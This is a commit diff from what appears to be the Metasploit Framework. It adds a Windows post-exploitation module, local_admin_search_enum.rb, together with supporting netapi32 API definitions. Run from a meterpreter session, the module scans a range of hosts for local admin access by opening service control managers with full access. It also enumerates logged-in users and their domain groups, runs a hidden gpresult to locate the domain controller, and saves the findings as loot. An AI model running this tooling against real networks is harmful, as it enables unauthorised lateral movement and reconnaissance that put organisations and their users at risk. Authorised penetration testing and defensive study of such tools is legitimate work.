Skip to content

Commit 9833039

Browse files
committed
added local_admin_search_enum.rb
1 parent 85dd212 commit 9833039

File tree

2 files changed

+269
-0
lines changed

2 files changed

+269
-0
lines changed

lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,26 @@ def self.create_dll(dll_path = 'netapi32')
3535
["DWORD","resume_handle","inout"]
3636
])
3737

38+
dll.add_function('NetWkstaUserEnum', 'DWORD', [
39+
["PWCHAR","servername","in"],
40+
["DWORD","level","in"],
41+
["PDWORD","bufptr","out"],
42+
["DWORD","prefmaxlen","in"],
43+
["PDWORD","entriesread","out"],
44+
["PDWORD","totalentries","out"],
45+
["DWORD","resume_handle","inout"]
46+
])
47+
48+
dll.add_function('NetUserGetGroups', 'DWORD', [
49+
["PWCHAR","servername","in"],
50+
["PWCHAR","username","in"],
51+
["DWORD","level","in"],
52+
["PDWORD","bufptr","out"],
53+
["DWORD","prefmaxlen","in"],
54+
["PDWORD","entriesread","out"],
55+
["PDWORD","totalentries","out"]
56+
])
57+
3858
return dll
3959
end
4060

Lines changed: 249 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,249 @@
1+
##
2+
# ## This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Post
12+
13+
include Msf::Post::Windows::Priv
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(
19+
'Name' => 'Windows Local Admin Search',
20+
'Description' => %q{
21+
This module will identify systems in a given range that the
22+
supplied domain user (should migrate into a user pid) has administrative
23+
access to by using the windows api OpenSCManagerA to establishing a handle
24+
to the remote host. Additionally it can enumerate logged in users and group
25+
membership via windows api NetWkstaUserEnum and NetUserGetGroups.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Version' => '$Revision: 14767 $',
29+
'Author' => [ 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>', 'Royce Davis "r3dy" <rdavis [at] accuvant.com>'],
30+
'Platform' => [ 'windows'],
31+
'SessionTypes' => [ 'meterpreter' ]
32+
)
33+
34+
register_options(
35+
[
36+
OptBool.new('ENUM_USERS', [ true, 'Enumerates logged on users.', true]),
37+
OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]),
38+
OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for', nil]),
39+
OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups', nil])
40+
41+
], self.class)
42+
end
43+
44+
def run()
45+
if is_system?
46+
# running as SYSTEM and will not pass any network credentials
47+
print_error "Running as SYSTEM, module should be run with USER level rights"
48+
return
49+
else
50+
@adv = client.railgun.advapi32
51+
52+
# Get domain and domain controller if options left blank
53+
if datastore['DOMAIN'].nil?
54+
user = client.sys.config.getuid
55+
datastore['DOMAIN'] = user.split('\\')[0]
56+
end
57+
58+
if datastore['DOMAIN_CONTROLLER'].nil? and datastore['ENUM_GROUPS']
59+
@dc_error = false
60+
61+
# Uses DC which applied policy since it would be a DC this device normally talks to
62+
cmd = "gpresult /SCOPE COMPUTER"
63+
# If Vista/2008 or later add /R
64+
if (client.sys.config.sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
65+
cmd << " /R"
66+
end
67+
res = run_cmd(cmd)
68+
69+
# Check if RSOP data exists, if not disable group check
70+
unless res =~ /does not have RSOP data./
71+
datastore['DOMAIN_CONTROLLER'] = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp
72+
else
73+
@dc_error = true
74+
print_error("User never logged into device, will not enumerate groups or manually specify DC.")
75+
end
76+
end
77+
super
78+
end
79+
end
80+
81+
# main contrl method
82+
def run_host(ip)
83+
connect(ip)
84+
end
85+
86+
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370669(v=vs.85).aspx
87+
# enumerate logged in users
88+
def enum_users(host)
89+
begin
90+
# Connect to host and enumerate logged in users
91+
winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
92+
93+
count = winsessions['totalentries'] * 2
94+
startmem = winsessions['bufptr']
95+
96+
base = 0
97+
userlist = Array.new
98+
mem = client.railgun.memread(startmem, 8*count)
99+
# For each entry returned, get domain and name of logged in user
100+
count.times{|i|
101+
temp = {}
102+
userptr = mem[(base + 0),4].unpack("V*")[0]
103+
temp[:user] = client.railgun.memread(userptr,255).split("\0\0")[0].split("\0").join
104+
nameptr = mem[(base + 4),4].unpack("V*")[0]
105+
temp[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
106+
107+
# Ignore if empty or machine account
108+
unless temp[:user].empty? or temp[:user][-1, 1] == "$"
109+
110+
# Check if enumerated user's domain matches supplied domain, if there was
111+
# an error, or if option disabled
112+
data = ""
113+
if datastore['DOMAIN'].upcase == temp[:domain].upcase and not @dc_error and datastore['ENUM_GROUPS']
114+
data = " - Groups: #{enum_groups(temp[:user]).chomp(", ")}"
115+
end
116+
line = "\tLogged in user:\t#{temp[:domain]}\\#{temp[:user]}#{data}\n"
117+
118+
# Write user and groups to notes database
119+
db_note(host, "#{temp[:domain]}\\#{temp[:user]}#{data}", "localadmin.user.loggedin")
120+
userlist << line unless userlist.include? line
121+
122+
end
123+
124+
base = base + 8
125+
}
126+
rescue ::Exception => e
127+
print_error("Issue enumerating users on #{host}")
128+
end
129+
return userlist
130+
131+
end
132+
133+
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370653(v=vs.85).aspx
134+
# Enumerate groups for identified users
135+
def enum_groups(user)
136+
grouplist = ""
137+
138+
dc = "\\\\#{datastore['DOMAIN_CONTROLLER']}"
139+
begin
140+
# Connect to DC and enumerate groups of user
141+
usergroups = client.railgun.netapi32.NetUserGetGroups(dc, user, 0, 4, -1, 4, 4)
142+
143+
rescue ::Exception => e
144+
print_error("Issue connecting to DC, try manually setting domain and DC")
145+
end
146+
147+
count = usergroups['totalentries']
148+
startmem = usergroups['bufptr']
149+
base = 0
150+
151+
begin
152+
mem = client.railgun.memread(startmem, 8*count)
153+
rescue ::Exception => e
154+
print_error("Issue reading memory for groups for user #{user}")
155+
end
156+
157+
begin
158+
# For each entry returned, get group
159+
count.to_i.times{|i|
160+
temp = {}
161+
groupptr = mem[(base + 0),4].unpack("V*")[0]
162+
temp[:group] = client.railgun.memread(groupptr,255).split("\0\0")[0].split("\0").join
163+
164+
# Add group to string to be returned
165+
grouplist << "#{temp[:group]}, "
166+
if (i % 5) == 2
167+
grouplist <<"\n\t- "
168+
end
169+
base = base + 4
170+
}
171+
172+
rescue ::Exception => e
173+
print_error("Issue enumerating groups for user #{user}, check domain")
174+
end
175+
176+
return grouplist.chomp("\n\t- ")
177+
178+
end
179+
180+
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
181+
# method to connect to remote host using windows api
182+
def connect(host)
183+
user = client.sys.config.getuid
184+
# use railgun and OpenSCManagerA api to connect to remote host
185+
manag = @adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS
186+
187+
if(manag["return"] != 0) # we have admin rights
188+
result = "#{host.ljust(16)} #{user} - Local admin found\n"
189+
# Run enumerate users on all hosts if option was set
190+
191+
if datastore['ENUM_USERS']
192+
enum_users(host).each {|i|
193+
result << i
194+
}
195+
end
196+
197+
# close the handle if connection was made
198+
@adv.CloseServiceHandle(manag["return"])
199+
# Append data to loot table within database
200+
db_loot(host, user, "localadmin.user")
201+
print_good(result.chomp("\n")) unless result.nil?
202+
else
203+
# we dont have admin rights
204+
print_error("#{host.ljust(16)} #{user} - No Local Admin rights")
205+
end
206+
end
207+
208+
# From enum_domain_group_users.rb by Carlos Perez and Stephen Haywood
209+
# Run command, return results
210+
def run_cmd(cmd)
211+
process = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
212+
res = ""
213+
214+
while (d = process.channel.read)
215+
break if d == ""
216+
res << d
217+
end
218+
219+
process.channel.close
220+
process.close
221+
return res
222+
end
223+
224+
# Write to notes database
225+
def db_note(host, data, type)
226+
if db
227+
report_note(
228+
:type => type,
229+
:data => data,
230+
:host => host,
231+
:update => :unique_data
232+
)
233+
end
234+
end
235+
236+
# Write to loot database
237+
def db_loot(host, user, type)
238+
if db
239+
store_loot(
240+
type,
241+
'text/plain',
242+
host,
243+
"#{host}:#{user}",
244+
'hosts_localadmin.txt',
245+
user
246+
)
247+
end
248+
end
249+
end

0 commit comments

Comments
 (0)